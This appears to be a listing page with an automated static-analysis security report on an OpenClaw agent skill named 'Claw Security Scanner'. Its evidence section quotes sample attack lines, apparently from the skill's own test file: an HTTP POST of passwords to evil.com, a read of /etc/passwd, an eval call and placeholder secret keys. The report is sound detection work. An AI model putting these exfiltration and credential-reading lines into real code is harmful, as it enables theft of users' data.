🛡️ SafeAgentSkills

Claw Security Scanner

View on ClawHub ↗ · v0.1.1

⬇ 743 downloads

High Risk

技能安全扫描器 - 检测OpenClaw技能中的安全威胁

H:4 D:4 A:0 C:1

⚠️ Hazard Flags

EXEC CODE_EXEC FS_READ_WORKSPACE FS_READ_USER FS_DELETE NET_EGRESS_ANY CREDS_FILES PI_WEB

📋 Capabilities

Execution

  • ✅ Shell execution
  • ✅ Code execution
  • ✅ Install dependencies
  • ❌ Persistence
  • Privilege: user

Filesystem

  • ✅ Read workspace
  • ❌ Write workspace
  • ✅ Read home
  • ❌ Write home
  • ❌ Read system
  • ✅ Delete

Network

  • Egress: any
  • ❌ Ingress

Credentials

  • ❌ Environment vars
  • ✅ Credential files
  • ❌ Browser data
  • ❌ Keychain

Actions

❌ send messages❌ post public❌ purchase❌ transfer money❌ deploy❌ delete external

🔒 Containment

Level: maximum

Required:
  • SANDBOX_CONTAINER: Code execution capability
Recommended:
  • LOG_ACTIONS: Audit trail for all actions

⚡ Risks

SSH key access patterns in: claw_security_scanner.py high

Mitigation: Verify legitimate need for SSH access. Consider sandboxing.

Cloud credential access patterns in: test_security_scanner.py, claw_security_scanner.py high

Mitigation: Verify legitimate need for cloud credential access.

Hardcoded secrets detected in: test_security_scanner.py, README.md high

Mitigation: Remove hardcoded secrets. Use environment variables instead.

Unauthorized tool use: INSTRUCTED_BINARY_INSTALL, INSTRUCTED_GIT_CLONE_AND_BUILD, MCP_SYS_FILE_DESTRUCTION critical

Mitigation: Avoid instructing agents to install arbitrary binaries; bundle dependencies or use sandboxed environments

Command injection risk: COMMAND_INJECTION_EVAL critical

Mitigation: Avoid eval(), exec(), and compile(). Use safer alternatives like ast.literal_eval()

Social engineering indicators: SOCIAL_ENG_VAGUE_DESCRIPTION low

Mitigation: Provide clear, detailed description of skill functionality

Data exfiltration patterns: DATA_EXFIL_NETWORK_REQUESTS, DATA_EXFIL_HTTP_POST, DATA_EXFIL_SENSITIVE_FILES critical

Mitigation: Ensure network access is necessary and documented

Want a deeper analysis?

This report was generated by static analysis. Get an LLM-powered deep review with behavioral reasoning and attack surface mapping.

🧠 Deep Analysis — $5.00

🚨 Incident Response

Kill switch: Stop the agent process

Containment: Review logs for unexpected actions

Recovery: Depends on skill capabilities

📄 Raw SSDS JSON click to expand
{
  "meta": {
    "document_id": "ssds:auto:claw-security-scanner:0.1.1",
    "ssds_version": "0.2.0",
    "scanner_version": "0.4.0+fe6fd9123d50",
    "created_at": "2026-03-05T12:24:50.425Z",
    "created_by": {
      "agent": "safeagentskills-cli/generate-ssds"
    },
    "language": "en",
    "notes": "Auto-generated SSDS. Manual review recommended."
  },
  "skill": {
    "name": "Claw Security Scanner",
    "version": "0.1.1",
    "format": "agent_skill",
    "description": "技能安全扫描器 - 检测OpenClaw技能中的安全威胁",
    "publisher": "ClawHub",
    "source": {
      "channel": "clawhub",
      "slug": "claw-security-scanner",
      "owner": "BetsyMalthus",
      "downloads": 743,
      "stars": 0
    },
    "artifact": {
      "sha256": "5db813914fd5232dbde44499d4d1c9d91a2e4b3d6dc1f34d7c83d210201b8ef7",
      "hash_method": "files_sorted"
    }
  },
  "capabilities": {
    "execution": {
      "can_exec_shell": true,
      "can_exec_code": true,
      "privilege_level": "user",
      "can_install_deps": true,
      "can_persist": false
    },
    "filesystem": {
      "reads_workspace": true,
      "reads_user_home": true,
      "reads_system": false,
      "writes_workspace": false,
      "writes_user_home": false,
      "writes_system": false,
      "can_delete": true
    },
    "network": {
      "egress": "any",
      "ingress": false
    },
    "credentials": {
      "reads_env_vars": false,
      "reads_credential_files": true,
      "reads_browser_data": false,
      "reads_keychain": false
    },
    "services": [],
    "actions": {
      "can_send_messages": false,
      "can_post_public": false,
      "can_purchase": false,
      "can_transfer_money": false,
      "can_deploy": false,
      "can_delete_external": false
    },
    "prompt_injection_surfaces": [
      "web"
    ],
    "content_types": [
      "general"
    ]
  },
  "hazards": {
    "hdac": {
      "H": 4,
      "D": 4,
      "A": 0,
      "C": 1
    },
    "flags": [
      "EXEC",
      "CODE_EXEC",
      "FS_READ_WORKSPACE",
      "FS_READ_USER",
      "FS_DELETE",
      "NET_EGRESS_ANY",
      "CREDS_FILES",
      "PI_WEB"
    ],
    "custom_flags": [
      {
        "code": "CRED_SSH",
        "name": "SSH Key Access",
        "description": "Accesses SSH keys in: claw_security_scanner.py"
      },
      {
        "code": "CRED_CLOUD",
        "name": "Cloud Credential Access",
        "description": "Accesses cloud credentials (AWS/GCP/Azure) in: test_security_scanner.py, claw_security_scanner.py"
      },
      {
        "code": "HARDCODED_SECRET",
        "name": "Hardcoded Secrets",
        "description": "Contains hardcoded secrets/API keys in: test_security_scanner.py, README.md"
      },
      {
        "code": "FILE_DELETE",
        "name": "File Deletion",
        "description": "Can delete files in: test_security_scanner.py, README.md, claw_security_scanner.py"
      },
      {
        "code": "TOOL_ABUSE",
        "name": "Unauthorized Tool Use",
        "description": "INSTRUCTED_BINARY_INSTALL, INSTRUCTED_GIT_CLONE_AND_BUILD, MCP_SYS_FILE_DESTRUCTION: Instructs agent to install external binary or package"
      },
      {
        "code": "SOCIAL_ENGINEERING",
        "name": "Social Engineering Risk",
        "description": "SOCIAL_ENG_VAGUE_DESCRIPTION: Skill description is too vague or missing"
      },
      {
        "code": "COMMAND_INJECTION",
        "name": "Command Injection Risk",
        "description": "COMMAND_INJECTION_EVAL: Dangerous code execution functions that can execute arbitrary code"
      },
      {
        "code": "DATA_EXFILTRATION",
        "name": "Data Exfiltration Risk",
        "description": "DATA_EXFIL_NETWORK_REQUESTS, DATA_EXFIL_HTTP_POST, DATA_EXFIL_SENSITIVE_FILES: HTTP client library imports that enable external communication"
      }
    ],
    "confidence": {
      "level": "medium",
      "basis": [
        "static_analysis"
      ],
      "notes": "Detected 8 security patterns (14 vendored rule hits). Review recommended."
    },
    "rationale": {
      "H": "H4: Critical: Privilege escalation or malware detected",
      "D": "D4: Critical: Credential theft or data exfiltration",
      "A": "A0: No side effects detected",
      "C": "C1: General content"
    }
  },
  "containment": {
    "level": "maximum",
    "required": [
      {
        "control": "SANDBOX_CONTAINER",
        "reason": "Code execution capability"
      }
    ],
    "recommended": [
      {
        "control": "LOG_ACTIONS",
        "reason": "Audit trail for all actions"
      }
    ],
    "uncontained_risk": "Risk level depends on manual review of actual capabilities."
  },
  "risks": {
    "risks": [
      {
        "risk": "SSH key access patterns in: claw_security_scanner.py",
        "severity": "high",
        "mitigation": "Verify legitimate need for SSH access. Consider sandboxing."
      },
      {
        "risk": "Cloud credential access patterns in: test_security_scanner.py, claw_security_scanner.py",
        "severity": "high",
        "mitigation": "Verify legitimate need for cloud credential access."
      },
      {
        "risk": "Hardcoded secrets detected in: test_security_scanner.py, README.md",
        "severity": "high",
        "mitigation": "Remove hardcoded secrets. Use environment variables instead."
      },
      {
        "risk": "Unauthorized tool use: INSTRUCTED_BINARY_INSTALL, INSTRUCTED_GIT_CLONE_AND_BUILD, MCP_SYS_FILE_DESTRUCTION",
        "severity": "critical",
        "mitigation": "Avoid instructing agents to install arbitrary binaries; bundle dependencies or use sandboxed environments"
      },
      {
        "risk": "Command injection risk: COMMAND_INJECTION_EVAL",
        "severity": "critical",
        "mitigation": "Avoid eval(), exec(), and compile(). Use safer alternatives like ast.literal_eval()"
      },
      {
        "risk": "Social engineering indicators: SOCIAL_ENG_VAGUE_DESCRIPTION",
        "severity": "low",
        "mitigation": "Provide clear, detailed description of skill functionality"
      },
      {
        "risk": "Data exfiltration patterns: DATA_EXFIL_NETWORK_REQUESTS, DATA_EXFIL_HTTP_POST, DATA_EXFIL_SENSITIVE_FILES",
        "severity": "critical",
        "mitigation": "Ensure network access is necessary and documented"
      }
    ],
    "limitations": [
      "Static analysis only - runtime behavior not verified"
    ]
  },
  "incident_response": {
    "kill_switch": [
      "Stop the agent process"
    ],
    "containment": [
      "Review logs for unexpected actions"
    ],
    "recovery": [
      "Depends on skill capabilities"
    ]
  },
  "evidence": [
    {
      "evidence_id": "EV:file-1",
      "type": "file_excerpt",
      "title": "_meta.json",
      "file_path": "_meta.json"
    },
    {
      "evidence_id": "EV:file-2",
      "type": "file_excerpt",
      "title": "test_security_scanner.py",
      "file_path": "test_security_scanner.py"
    },
    {
      "evidence_id": "EV:file-3",
      "type": "file_excerpt",
      "title": "SKILL.md",
      "file_path": "SKILL.md"
    },
    {
      "evidence_id": "EV:file-4",
      "type": "file_excerpt",
      "title": "README.md",
      "file_path": "README.md"
    },
    {
      "evidence_id": "EV:file-5",
      "type": "file_excerpt",
      "title": "package.json",
      "file_path": "package.json"
    },
    {
      "evidence_id": "EV:file-6",
      "type": "file_excerpt",
      "title": "claw_security_scanner.py",
      "file_path": "claw_security_scanner.py"
    },
    {
      "evidence_id": "EV:cisco-1",
      "type": "file_excerpt",
      "title": "COMMAND_INJECTION_EVAL [CRITICAL] test_security_scanner.py:136: eval(\"malicious_code()\")",
      "file_path": "test_security_scanner.py"
    },
    {
      "evidence_id": "EV:cisco-2",
      "type": "file_excerpt",
      "title": "DATA_EXFIL_NETWORK_REQUESTS [MEDIUM] test_security_scanner.py:46: import requests",
      "file_path": "test_security_scanner.py"
    },
    {
      "evidence_id": "EV:cisco-3",
      "type": "file_excerpt",
      "title": "DATA_EXFIL_HTTP_POST [CRITICAL] test_security_scanner.py:47: requests.post(\"https://evil.com/webhook\", data={\"data\": passwords})",
      "file_path": "test_security_scanner.py"
    },
    {
      "evidence_id": "EV:cisco-4",
      "type": "file_excerpt",
      "title": "DATA_EXFIL_SENSITIVE_FILES [HIGH] test_security_scanner.py:39: with open(\"/etc/passwd\", \"r\") as f:",
      "file_path": "test_security_scanner.py"
    },
    {
      "evidence_id": "EV:cisco-5",
      "type": "file_excerpt",
      "title": "SECRET_AWS_KEY [CRITICAL] test_security_scanner.py:30: AWS_ACCESS_KEY_ID = \"AKIAIOSFODNN7EXAMPLE\"",
      "file_path": "test_security_scanner.py"
    },
    {
      "evidence_id": "EV:cisco-6",
      "type": "file_excerpt",
      "title": "SECRET_STRIPE_KEY [CRITICAL] test_security_scanner.py:27: API_KEY = \"sk_test_1234567890abcdef1234567890abcdef\"",
      "file_path": "test_security_scanner.py"
    },
    {
      "evidence_id": "EV:cisco-7",
      "type": "file_excerpt",
      "title": "SECRET_JWT_TOKEN [HIGH] test_security_scanner.py:28: SECRET_TOKEN = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiw",
      "file_path": "test_security_scanner.py"
    },
    {
      "evidence_id": "EV:cisco-8",
      "type": "file_excerpt",
      "title": "SECRET_PASSWORD_VAR [MEDIUM] test_security_scanner.py:101: password = \"mypassword123\"",
      "file_path": "test_security_scanner.py"
    },
    {
      "evidence_id": "EV:cisco-9",
      "type": "file_excerpt",
      "title": "SECRET_CONNECTION_STRING [HIGH] test_security_scanner.py:29: database_url = \"mysql://user:password123@localhost/db\"",
      "file_path": "test_security_scanner.py"
    },
    {
      "evidence_id": "EV:cisco-10",
      "type": "file_excerpt",
      "title": "SOCIAL_ENG_VAGUE_DESCRIPTION [LOW] SKILL.md:2: ",
      "file_path": "SKILL.md"
    }
  ]
}